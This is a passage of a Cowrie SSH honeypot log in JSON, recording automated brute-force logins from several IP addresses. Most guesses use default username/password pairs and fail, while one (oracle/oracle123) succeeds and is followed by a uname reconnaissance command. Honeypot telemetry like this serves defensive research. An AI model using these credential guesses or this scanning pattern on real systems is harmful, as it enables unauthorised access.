ompCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:42.100086Z","src_ip":"83.168.110.85","session":"c21679d6e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:42.463816Z","src_ip":"83.168.110.85","session":"c21679d6e360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:43.586320Z","src_ip":"83.168.110.85","session":"c21679d6e360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42020,"dst_ip":"159.203.135.109","dst_port":22,"session":"046629202473","protocol":"ssh","message":"New connection: 83.168.110.85:42020 (159.203.135.109:22) [session: 046629202473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:52.125290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:52.130524Z","src_ip":"83.168.110.85","session":"046629202473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:52.251630Z","src_ip":"83.168.110.85","session":"046629202473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:52.614462Z","src_ip":"83.168.110.85","session":"046629202473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:53.738027Z","src_ip":"83.168.110.85","session":"046629202473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51562,"dst_ip":"159.203.135.109","dst_port":22,"session":"182bb958d9fd","protocol":"ssh","message":"New connection: 83.168.110.85:51562 (159.203.135.109:22) [session: 182bb958d9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:02.585065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:02.593744Z","src_ip":"83.168.110.85","session":"182bb958d9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:02.715477Z","src_ip":"83.168.110.85","session":"182bb958d9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:03.079711Z","src_ip":"83.168.110.85","session":"182bb958d9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:04.204557Z","src_ip":"83.168.110.85","session":"182bb958d9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"1641afa8ed22","protocol":"ssh","message":"New connection: 83.168.110.85:52808 (159.203.135.109:22) [session: 1641afa8ed22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:12.965755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:12.970294Z","src_ip":"83.168.110.85","session":"1641afa8ed22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:13.093453Z","src_ip":"83.168.110.85","session":"1641afa8ed22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:13.454681Z","src_ip":"83.168.110.85","session":"1641afa8ed22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:14.580271Z","src_ip":"83.168.110.85","session":"1641afa8ed22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"35eca1702cda","protocol":"ssh","message":"New connection: 37.233.85.71:51766 (159.203.135.109:22) [session: 35eca1702cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:15.125967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:15.134945Z","src_ip":"37.233.85.71","session":"35eca1702cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:15.242195Z","src_ip":"37.233.85.71","session":"35eca1702cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legion","message":"login attempt [root/legion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:15.556596Z","src_ip":"37.233.85.71","session":"35eca1702cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:16.665085Z","src_ip":"37.233.85.71","session":"35eca1702cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.91.33.72","src_port":55674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebe3e8d5e1ce","protocol":"ssh","message":"New connection: 125.91.33.72:55674 (10.17.0.5:22) [session: ebe3e8d5e1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:17.482303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:17.487256Z","src_ip":"125.91.33.72","session":"ebe3e8d5e1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:17.744830Z","src_ip":"125.91.33.72","session":"ebe3e8d5e1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fil","message":"login attempt [root/fil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:19.547933Z","src_ip":"125.91.33.72","session":"ebe3e8d5e1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:20.811043Z","src_ip":"125.91.33.72","session":"ebe3e8d5e1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aac600268bd","protocol":"ssh","message":"New connection: 193.32.162.151:60392 (159.203.135.109:22) [session: 8aac600268bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:21.558374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:21.566857Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:21.674645Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:21.995628Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:22.372929Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:22.375993Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:22.484841Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:22.489906Z","src_ip":"193.32.162.151","session":"8aac600268bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40786,"dst_ip":"159.203.135.109","dst_port":22,"session":"592373214dfa","protocol":"ssh","message":"New connection: 83.168.110.85:40786 (159.203.135.109:22) [session: 592373214dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:23.528314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:23.532869Z","src_ip":"83.168.110.85","session":"592373214dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:23.654985Z","src_ip":"83.168.110.85","session":"592373214dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:24.331678Z","src_ip":"83.168.110.85","session":"592373214dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:25.454894Z","src_ip":"83.168.110.85","session":"592373214dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19572,"dst_ip":"10.17.0.5","dst_port":22,"session":"9246ae06fb87","protocol":"ssh","message":"New connection: 87.251.64.176:19572 (10.17.0.5:22) [session: 9246ae06fb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:26.726396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:26.731172Z","src_ip":"87.251.64.176","session":"9246ae06fb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:56:26.876843Z","src_ip":"87.251.64.176","session":"9246ae06fb87","protocol":"ssh"}
